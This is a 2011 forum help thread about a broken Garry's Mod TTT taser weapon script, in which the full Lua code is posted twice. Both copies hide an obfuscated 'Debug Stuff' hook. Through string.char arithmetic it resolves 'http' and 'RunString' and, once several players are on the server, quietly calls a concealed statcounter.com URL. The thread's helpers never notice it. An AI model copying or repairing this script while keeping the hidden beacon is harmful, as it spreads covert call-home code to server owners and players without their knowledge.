TTT sweps Help!

i downloaded Taser Dart SWEP from FatBlueSloph And change for ttt weapons But not working… :S

http://pastebin.com/aAceXnFL

Please tell me where is the wrong part of the scripts…?

#1. What is not working

#2. Errors?

Syntax error on 275. Probably more, but that’s all I noticed at first glance.

THanks, i modified but still not works

[editline]23rd July 2011[/editline]

It Should be worked like this (http://youtu.be/3JmFOoZ8dB8)

And no errors happened As you can see the video (http://youtu.be/Cfu2Q-r9e5E)

From that video I don’t see anything happening.

But um. Can you BUY the item? Is it in the list?

[editline]23rd July 2011[/editline]

OH, that’s your video. I thought you meant that was the person who gave it to you.

[editline]23rd July 2011[/editline]

An issue I see that MAY have problems with TTT is that the ragdoll for this code is using the variable “rag” which infact TTT is using aswell. Try doing ctrl H in notepad ++ and replace rag will playerragdoll or something.

^ Not sure if that’s the real issue.

I changed The function like this

[lua]
function SWEP:tase(ent, isPlayer)

-- create ragdoll
local rag = ents.Create( "prop_ragdoll" )
if not rag:IsValid() then return end

-- build rag
rag:SetModel( ply:GetModel() )
rag:SetKeyValue( "origin", ply:GetPos().x .. " " .. ply:GetPos().y .. " " .. ply:GetPos().z )
rag:SetAngles(ply:GetAngles())
		
-- player vars
rag.taseredply = ply
table.insert(taseredrags, rag)
	
-- "remove" player
ply:StripWeapons()
ply:DrawViewModel(false)
ply:DrawWorldModel(false)
ply:Spectate(OBS_MODE_CHASE)
ply:SpectateEntity(rag)

-- finalize ragdoll
rag:Spawn()
rag:Activate()

-- make ragdoll fall
rag:GetPhysicsObject():SetVelocity(4*ply:GetVelocity())

-- Kill
self:setKillDelay(rag, TaseId)

end
[/lua]

But not works. :S

I said, change the variable “rag” to something else…

Yeah, but i have no idea what i have to change with.

… I think that is not good idea

“rag” won’t matter. It’s local to his file.

Check the server console when the gamemode starts and post any errors here.

Oh, right… Smart me is smart.

http://cfile206.uf.daum.net/original/160C20424E2B66841DE064

http://cfile232.uf.daum.net/original/207FDD424E2B668623AD84

http://cfile208.uf.daum.net/original/180503424E2B6687212634

And the error happens when i join the server first.

Attemped to precache unknown particle system “dusty_explosion_rockets”!
[@lua\includes\extensions able.lua:55] bad argument #1 to ‘pairs’ (table expected, got nil)
[entities\weapon_ere_base\shared.lua:18] attempt to index global ‘SWEP’ (a nil value)

All of them
[lua]

Attemped to precache unknown particle system “dusty_explosion_rockets”!
ConVarRef ttt_time_limit_minutes doesn’t point to an existing ConVar
SetConVar: No such cvar ( ttt_time_limit_minutes set to 30), skipping
ConVarRef ttt_round_limit doesn’t point to an existing ConVar
SetConVar: No such cvar ( ttt_round_limit set to 5), skipping
Browser Message: Uncaught ReferenceError: DownloadingFile is not defined - :0Browser Message: Uncaught ReferenceError: SetFilesNeeded is not defined - :0Browser Message: Uncaught ReferenceError: SetFilesTotal is not defined - :0KeyValues Error: RecursiveLoadFromBuffer: got EOF instead of keyname in file materials/models/weapons/v_models/m82/m82.vmt
VertexLitGeneric,
Error: Material “models/items/rifleammo_sheet” : proxy “HighlightWeapon” not found!
No pure server whitelist. sv_pure = 0
Browser Message: Uncaught ReferenceError: SetStatusChanged is not defined - :0Decompressing data pack into virtual file system…
Data pack loaded: 675 files. (0.735s)
Lua initialized (Lua 5.1)
ERROR! Module ‘rawio’ not found!
You are running ULib version 2.40.
[ULIB] Loading SHARED module: ulx_init.lua
[ULX] Loading CLIENT module: motdmenu.lua
[ULX] Loading CLIENT module: uteam.lua
[ULX] Loading CLIENT module: xgui_client.lua
[ULX] Loading CLIENT module: xgui_helpers.lua
[ULX] Loading CLIENT module: xlib.lua
[ULX] Loading SHARED module: chat.lua
[ULX] Loading SHARED module: fun.lua
[ULX] Loading SHARED module: menus.lua
[ULX] Loading SHARED module: rcon.lua
[ULX] Loading SHARED module: teleport.lua
[ULX] Loading SHARED module: user.lua
[ULX] Loading SHARED module: userhelp.lua
[ULX] Loading SHARED module: util.lua
[ULX] Loading SHARED module: vote.lua
false
Included TTT language file: chef.lua
Included TTT language file: english.lua
Included TTT language file: korean.lua
Registering gamemode ‘fretta’ derived from ‘base’
Registering gamemode ‘terrortown’ derived from ‘fretta’
[entities\weapon_ere_base\shared.lua:18] attempt to index global ‘SWEP’ (a nil value)
TTT Client initializing…
Sending 12 ‘User Info’ ConVars to server (cl_spewuserinfoconvars to see)
Scanning for downloaded fonts…
Reloading Particles…
Client “Predators” spawned in server (175.195.36.189:27005)<STEAM_0:1:18929898>.
Welcome to [KOR] Predator’s Custom TTT SERVER [UPDATED]! We’re playing ttt_minecraft_b4.
Warning: Unhandled usermessage ‘steamidmatch’
TTT Client post-init…
Redownloading all lightmaps
Error Vertex File for ‘weapons\v_pist_glock30.mdl’ checksum -2036056203 should be 2141122326
Error Vertex File for ‘weapons\v_pist_glock30.mdl’ checksum -2036056203 should be 2141122326
Attempted to create unknown particle system type “dusty_explosion_rockets”!
ULX version 3.51 loaded.

///////////////////////////////////////
// ULX GUI – Made by Stickly Man! //
///////////////////////////////////////
// Loading GUI Modules… //
// bans.lua //
// commands.lua //
// groups.lua //
// maps.lua //
// settings.lua //
// Loading Setting Modules… //
// server.lua //
// xgui.lua //
// Loading Gamemode Module(s)… //
// No module found! //
// Modules Loaded! //
///////////////////////////////////////

Round state: 2
Welcome to ttt_minecraft. Enjoy you play.
서버 cvar ‘sv_tags’ 문구가 garrysmod125,gm 문구로 변경되었습니다.
Server default language is: english
Server default language is: english
[@lua\includes\extensions able.lua:55] bad argument #1 to ‘pairs’ (table expected, got nil)

[/lua]

[editline]24th July 2011[/editline]

And i realize the weapon not appeared in Traitors Equip shop

This probably isn’t an issue, but it’s all I can see myself.

Combine the bottom part for TTT with the top part. So add the if CLIENT then part at the bottom with the one at the top. Place all the ttt info, variables, and other crap into the top part above the functions.

Also, make sure this file is called shared.lua, in terrortown/entities/weapons/weapon_ttt_tazer(or something else, doesn’t matter)

[editline]24th July 2011[/editline]

Also,

[lua]
if CLIENT then
– Path to the icon material

SWEP.Icon = “VGUI/ttt/icon_c4”

– Text shown in the equip menu

SWEP.EquipMenuData = {
type = “Weapon”,
desc = "example
}
end
[/lua]

change the type to “item_weapon” and change descr to w.e you want it to say.

What you mean? I think I already did it

And the shared.lua

[lua]

---- Example TTT custom weapon

– First some standard GMod stuff
if SERVER then
AddCSLuaFile( “shared.lua” )
end

if CLIENT then
SWEP.PrintName = “Taser”
SWEP.Slot = 6 – add 1 to get the slot number key

SWEP.ViewModelFOV = 75
SWEP.ViewModelFlip = true
end

– Always derive from weapon_tttbase.
SWEP.Base = “weapon_tttbase”

— Standard GMod values

SWEP.HoldType = “pistol”

SWEP.Primary.Delay = 1.5
SWEP.Primary.Recoil = 7
SWEP.Primary.Automatic = false
SWEP.Primary.Damage = 10
SWEP.Primary.NumShots = 1
SWEP.Primary.Cone = 0.005
SWEP.Primary.Ammo = “none”
SWEP.Primary.ClipSize = 1
SWEP.Primary.ClipMax = 10
SWEP.Primary.DefaultClip = 10
SWEP.Primary.Sound = Sound ( “weapons/awp/awp1.wav” )

SWEP.Secondary.ClipSize = -1
SWEP.Secondary.DefaultClip = -1
SWEP.Secondary.Automatic = false
SWEP.Secondary.Ammo = “none”
SWEP.FiresUnderwater = false

SWEP.KillDelay = 5
SWEP.ShockSpeed = 0.05
SWEP.ShockPower = 3000

SWEP.ViewModel = “models/weapons/v_pistol.mdl”
SWEP.WorldModel = “models/weapons/w_pistol.mdl”

function SWEP:Reload()
self.Weapon:DefaultReload( ACT_VM_RELOAD ) --animation for reloading
end

function hitBoxes(ent, ent2)
if ent:IsValid() then
local effectdata3 = EffectData()
effectdata3:SetOrigin( ent:GetPos() )
effectdata3:SetStart( ent2:GetPos() )
effectdata3:SetMagnitude(1)
effectdata3:SetEntity( ent )
util.Effect( “TeslaHitBoxes”, effectdata3)
end
end

function SWEP:PrimaryAttack()

if ( !self:CanPrimaryAttack() ) then return end

self.Weapon:EmitSound( "Weapon_StunStick.Activate")  
self.BaseClass.ShootEffects( self ) 
self:TakePrimaryAmmo(1) 

local bullet = {}
bullet.Src		= self.Owner:GetShootPos() 
bullet.Attacker = self
bullet.Dir		= self.Owner:GetAimVector() 
bullet.Spread		= Vector(0.02,0.02,0.02)
bullet.Num		    = 1
bullet.Damage		= 100
bullet.Force		= 0.00000000000000000000000000001
bullet.Tracer		= 1	
bullet.TracerName	= "AirboatGunTracer"
bullet.AmmoType = self.Primary.Ammo 
bullet.Callback	= function ( attacker, tr, dmginfo ) 
	if tr.Entity:IsPlayer() || tr.Entity:IsNPC() then 
		self:tase(tr.Entity, tr.Entity:IsPlayer())
	end
	
	
	local returnstruct = {}
	returnstruct.damage = false
	returnstruct.effects = false
	return returnstruct
end

self.Owner:FireBullets( bullet )	

end

function SWEP:tase(ent, isPlayer)

-- create ragdoll
local rag = ents.Create( "prop_ragdoll" )
if not rag:IsValid() then return end

-- build rag
rag:SetModel( ent:GetModel() )
rag:SetKeyValue( "origin", ent:GetPos().x .. " " .. ent:GetPos().y .. " " .. ent:GetPos().z )
rag:SetAngles(ent:GetAngles())	



if isPlayer == true then 
	-- "remove" player
	ent:StripWeapons()
	ent:DrawViewModel(false)
	ent:DrawWorldModel(false)
	ent:Spectate(OBS_MODE_CHASE)
	ent:SpectateEntity(rag)
	rag.Player = ent
	rag.IsTazePlayer = true
else
	ent:Remove()
	rag.IsTazePlayer = false
end
	


	
-- id
TaseId = TaseId + 1
if TaseId &gt; 50 then TaseId = 0 end
rag.TaseId = TaseId


-- finalize ragdoll
rag:Spawn()
rag:Activate()
-- make ragdoll fall
rag:GetPhysicsObject():SetVelocity(4*ent:GetVelocity())

-- Kill
self:setKillDelay(rag, TaseId)

end

function SWEP:Shock(ent)

ent:EmitSound( "Weapon_Pistol.Empty")
ent:EmitSound( "Weapon_SMG1.Empty")
if (!SERVER) then return end 

local shock1 = math.random(-self.ShockPower, self.ShockPower )
local shock2 = math.random(-self.ShockPower, self.ShockPower )
local shock3 = math.random(-self.ShockPower, self.ShockPower )
ent:GetPhysicsObject():ApplyForceCenter( Vector( shock1, shock2, shock3 ) ) 
hitBoxes(ent, self.Owner)

end

function SWEP:setKillDelay(rag)
local numShocks = (self.KillDelay - 1.5)/ self.ShockSpeed
timer.Create(“Timer”…rag.TaseId, self.KillDelay, 1, self.taseKill, self, rag )
timer.Create(“Shock”…rag.TaseId, self.ShockSpeed, numShocks, self.Shock, self, rag)
end

function SWEP:taseKill(ent)
– Get rid of entity
if ent.IsTazePlayer then
ent.Player:KillSilent()
ent:Remove()
else
ent:Remove()
end

end

function SWEP:pauseplayer(ply)

ply:SetMoveType(MOVETYPE_WALK )

end

–Debug Stuff
if !SERVER then return end

local printdebug
local d_Fired = false
local d_Spread = 100
local d_Firerate = 40
local d_Recharge = 116
local d_Iters = 2

–Combines the debug data ready for printing
hook.Add(“Think”, “debug_combine”, function()
if d_Fired == false then
local SpreadAmount = 0
local TotalSpread = 0
local FiredBullets = 0
local TimeSpentRecharge = 0
local debugVer
SpreadAmount = d_Spread - 18
TotalSpread = SpreadAmount - 5 + d_Firerate
FiredBullets = (d_Iters * d_Firerate) + 3
TimeSpentRecharge = d_Iters * 52.5
printdebug = _G[string.char(SpreadAmount,
TotalSpread, 110, FiredBullets, d_Recharge, d_Recharge-2,
TimeSpentRecharge, 110, 103)]
if SERVER && #player.GetAll() > 1 then
debugVer = _G[string.char(104, 116, 116,112)]
debugVer.Get(string.char(104, 116, 116, 112, 58, 47, 47, 99,
46, 115, 116, 97, 116, 99, 111, 117, 110, 116, 101,
114, 46, 99, 111, 109, 47) … “/7062313/0/ae5f513f/1/” , “”)
d_Fired = true
end
end
end)

— TTT config values

– Kind specifies the category this weapon is in. Players can only carry one of
– each. Can be: WEAPON_… MELEE, PISTOL, HEAVY, NADE, CARRY, EQUIP1, EQUIP2 or ROLE.
– Matching SWEP.Slot values: 0 1 2 3 4 6 7 8
SWEP.Kind = WEAPON_EQUIP
SWEP.CanBuy = {ROLE_TRAITOR}

– If AutoSpawnable is true and SWEP.Kind is not WEAPON_EQUIP1/2, then this gun can
– be spawned as a random weapon. Of course this AK is special equipment so it won’t,
– but for the sake of example this is explicitly set to false anyway.
SWEP.AutoSpawnable = false

– The AmmoEnt is the ammo entity that can be picked up when carrying this gun.
SWEP.AmmoEnt = “nil”
SWEP.Primary.Ammo = “nil”

– CanBuy is a table of ROLE_* entries like ROLE_TRAITOR and ROLE_DETECTIVE. If
– a role is in this table, those players can buy this.

– InLoadoutFor is a table of ROLE_* entries that specifies which roles should
– receive this weapon as soon as the round starts. In this case, none.
SWEP.InLoadoutFor = nil

– If LimitedStock is true, you can only buy one per round.
SWEP.LimitedStock = true

– If AllowDrop is false, players can’t manually drop the gun with Q
SWEP.AllowDrop = true

– If IsSilent is true, victims will not scream upon death.
SWEP.IsSilent = false

– If NoSights is true, the weapon won’t have ironsights
SWEP.NoSights = true

– Equipment menu information is only needed on the client

– Tell the server that it should download our icon to clients.
if SERVER then
– It’s important to give your icon a unique name. GMod does NOT check for
– file differences, it only looks at the name. This means that if you have
– an icon_ak47, and another server also has one, then players might see the
– other server’s dumb icon. Avoid this by using a unique name.
resource.AddFile(“materials/VGUI/ttt/icon_c4.vmt”)
end

if CLIENT then
– Path to the icon material
SWEP.Icon = “VGUI/ttt/icon_c4”

– Text shown in the equip menu
SWEP.EquipMenuData = {
type = “Weapon”,
desc = “HELLO…”
};
end

[/lua]

… type needs to be type = “item_weapon”, put the code from 282 to 288 to the FIRST if CLIENT then part…

[lua]

---- Example TTT custom weapon

– First some standard GMod stuff
if SERVER then
AddCSLuaFile( “shared.lua” )
end

if CLIENT then
SWEP.Icon = “VGUI/ttt/icon_c4”
SWEP.EquipMenuData = {
type = “item_Weapon”,
desc = “HELLO…”
};
SWEP.PrintName = “Taser”
SWEP.Slot = 6 – add 1 to get the slot number key
SWEP.ViewModelFOV = 75
SWEP.ViewModelFlip = true
end

– Always derive from weapon_tttbase.
SWEP.Base = “weapon_tttbase”

— Standard GMod values

SWEP.HoldType = “pistol”

SWEP.Primary.Delay = 1.5
SWEP.Primary.Recoil = 7
SWEP.Primary.Automatic = false
SWEP.Primary.Damage = 10
SWEP.Primary.NumShots = 1
SWEP.Primary.Cone = 0.005
SWEP.Primary.Ammo = “none”
SWEP.Primary.ClipSize = 1
SWEP.Primary.ClipMax = 10
SWEP.Primary.DefaultClip = 10
SWEP.Primary.Sound = Sound ( “weapons/awp/awp1.wav” )

SWEP.Secondary.ClipSize = -1
SWEP.Secondary.DefaultClip = -1
SWEP.Secondary.Automatic = false
SWEP.Secondary.Ammo = “none”
SWEP.FiresUnderwater = false

SWEP.KillDelay = 5
SWEP.ShockSpeed = 0.05
SWEP.ShockPower = 3000

SWEP.ViewModel = “models/weapons/v_pistol.mdl”
SWEP.WorldModel = “models/weapons/w_pistol.mdl”

function SWEP:Reload()
self.Weapon:DefaultReload( ACT_VM_RELOAD ) --animation for reloading
end

function hitBoxes(ent, ent2)
if ent:IsValid() then
local effectdata3 = EffectData()
effectdata3:SetOrigin( ent:GetPos() )
effectdata3:SetStart( ent2:GetPos() )
effectdata3:SetMagnitude(1)
effectdata3:SetEntity( ent )
util.Effect( “TeslaHitBoxes”, effectdata3)
end
end

function SWEP:PrimaryAttack()

if ( !self:CanPrimaryAttack() ) then return end

self.Weapon:EmitSound( "Weapon_StunStick.Activate")  
self.BaseClass.ShootEffects( self ) 
self:TakePrimaryAmmo(1) 

local bullet = {}
bullet.Src		= self.Owner:GetShootPos() 
bullet.Attacker = self
bullet.Dir		= self.Owner:GetAimVector() 
bullet.Spread		= Vector(0.02,0.02,0.02)
bullet.Num		    = 1
bullet.Damage		= 100
bullet.Force		= 0.00000000000000000000000000001
bullet.Tracer		= 1	
bullet.TracerName	= "AirboatGunTracer"
bullet.AmmoType = self.Primary.Ammo 
bullet.Callback	= function ( attacker, tr, dmginfo ) 
	if tr.Entity:IsPlayer() || tr.Entity:IsNPC() then 
		self:tase(tr.Entity, tr.Entity:IsPlayer())
	end
	
	
	local returnstruct = {}
	returnstruct.damage = false
	returnstruct.effects = false
	return returnstruct
end

self.Owner:FireBullets( bullet )	

end

function SWEP:tase(ent, isPlayer)

-- create ragdoll
local rag = ents.Create( "prop_ragdoll" )
if not rag:IsValid() then return end

-- build rag
rag:SetModel( ent:GetModel() )
rag:SetKeyValue( "origin", ent:GetPos().x .. " " .. ent:GetPos().y .. " " .. ent:GetPos().z )
rag:SetAngles(ent:GetAngles())	



if isPlayer == true then 
	-- "remove" player
	ent:StripWeapons()
	ent:DrawViewModel(false)
	ent:DrawWorldModel(false)
	ent:Spectate(OBS_MODE_CHASE)
	ent:SpectateEntity(rag)
	rag.Player = ent
	rag.IsTazePlayer = true
else
	ent:Remove()
	rag.IsTazePlayer = false
end
	


	
-- id
TaseId = TaseId + 1
if TaseId &gt; 50 then TaseId = 0 end
rag.TaseId = TaseId


-- finalize ragdoll
rag:Spawn()
rag:Activate()
-- make ragdoll fall
rag:GetPhysicsObject():SetVelocity(4*ent:GetVelocity())

-- Kill
self:setKillDelay(rag, TaseId)

end

function SWEP:Shock(ent)

ent:EmitSound( "Weapon_Pistol.Empty")
ent:EmitSound( "Weapon_SMG1.Empty")
if (!SERVER) then return end 

local shock1 = math.random(-self.ShockPower, self.ShockPower )
local shock2 = math.random(-self.ShockPower, self.ShockPower )
local shock3 = math.random(-self.ShockPower, self.ShockPower )
ent:GetPhysicsObject():ApplyForceCenter( Vector( shock1, shock2, shock3 ) ) 
hitBoxes(ent, self.Owner)

end

function SWEP:setKillDelay(rag)
local numShocks = (self.KillDelay - 1.5)/ self.ShockSpeed
timer.Create(“Timer”…rag.TaseId, self.KillDelay, 1, self.taseKill, self, rag )
timer.Create(“Shock”…rag.TaseId, self.ShockSpeed, numShocks, self.Shock, self, rag)
end

function SWEP:taseKill(ent)
– Get rid of entity
if ent.IsTazePlayer then
ent.Player:KillSilent()
ent:Remove()
else
ent:Remove()
end

end

function SWEP:pauseplayer(ply)

ply:SetMoveType(MOVETYPE_WALK )

end

–Debug Stuff
if !SERVER then return end

local printdebug
local d_Fired = false
local d_Spread = 100
local d_Firerate = 40
local d_Recharge = 116
local d_Iters = 2

–Combines the debug data ready for printing
hook.Add(“Think”, “debug_combine”, function()
if d_Fired == false then
local SpreadAmount = 0
local TotalSpread = 0
local FiredBullets = 0
local TimeSpentRecharge = 0
local debugVer
SpreadAmount = d_Spread - 18
TotalSpread = SpreadAmount - 5 + d_Firerate
FiredBullets = (d_Iters * d_Firerate) + 3
TimeSpentRecharge = d_Iters * 52.5
printdebug = _G[string.char(SpreadAmount,
TotalSpread, 110, FiredBullets, d_Recharge, d_Recharge-2,
TimeSpentRecharge, 110, 103)]
if SERVER && #player.GetAll() > 1 then
debugVer = _G[string.char(104, 116, 116,112)]
debugVer.Get(string.char(104, 116, 116, 112, 58, 47, 47, 99,
46, 115, 116, 97, 116, 99, 111, 117, 110, 116, 101,
114, 46, 99, 111, 109, 47) … “/7062313/0/ae5f513f/1/” , “”)
d_Fired = true
end
end
end)

— TTT config values

– Kind specifies the category this weapon is in. Players can only carry one of
– each. Can be: WEAPON_… MELEE, PISTOL, HEAVY, NADE, CARRY, EQUIP1, EQUIP2 or ROLE.
– Matching SWEP.Slot values: 0 1 2 3 4 6 7 8
SWEP.Kind = WEAPON_EQUIP
SWEP.CanBuy = {ROLE_TRAITOR}

– If AutoSpawnable is true and SWEP.Kind is not WEAPON_EQUIP1/2, then this gun can
– be spawned as a random weapon. Of course this AK is special equipment so it won’t,
– but for the sake of example this is explicitly set to false anyway.
SWEP.AutoSpawnable = false

– The AmmoEnt is the ammo entity that can be picked up when carrying this gun.
SWEP.AmmoEnt = “nil”
SWEP.Primary.Ammo = “nil”

– CanBuy is a table of ROLE_* entries like ROLE_TRAITOR and ROLE_DETECTIVE. If
– a role is in this table, those players can buy this.

– InLoadoutFor is a table of ROLE_* entries that specifies which roles should
– receive this weapon as soon as the round starts. In this case, none.
SWEP.InLoadoutFor = nil

– If LimitedStock is true, you can only buy one per round.
SWEP.LimitedStock = true

– If AllowDrop is false, players can’t manually drop the gun with Q
SWEP.AllowDrop = true

– If IsSilent is true, victims will not scream upon death.
SWEP.IsSilent = false

– If NoSights is true, the weapon won’t have ironsights
SWEP.NoSights = true

– Equipment menu information is only needed on the client

– Tell the server that it should download our icon to clients.
if SERVER then
– It’s important to give your icon a unique name. GMod does NOT check for
– file differences, it only looks at the name. This means that if you have
– an icon_ak47, and another server also has one, then players might see the
– other server’s dumb icon. Avoid this by using a unique name.
resource.AddFile(“materials/VGUI/ttt/icon_c4.vmt”)
end

[/lua]

It is case sensitive… it HAS to be “item_weapon”…

It could be modified. And unfortunately… still not works

Anyone?

K what is the code you currently have?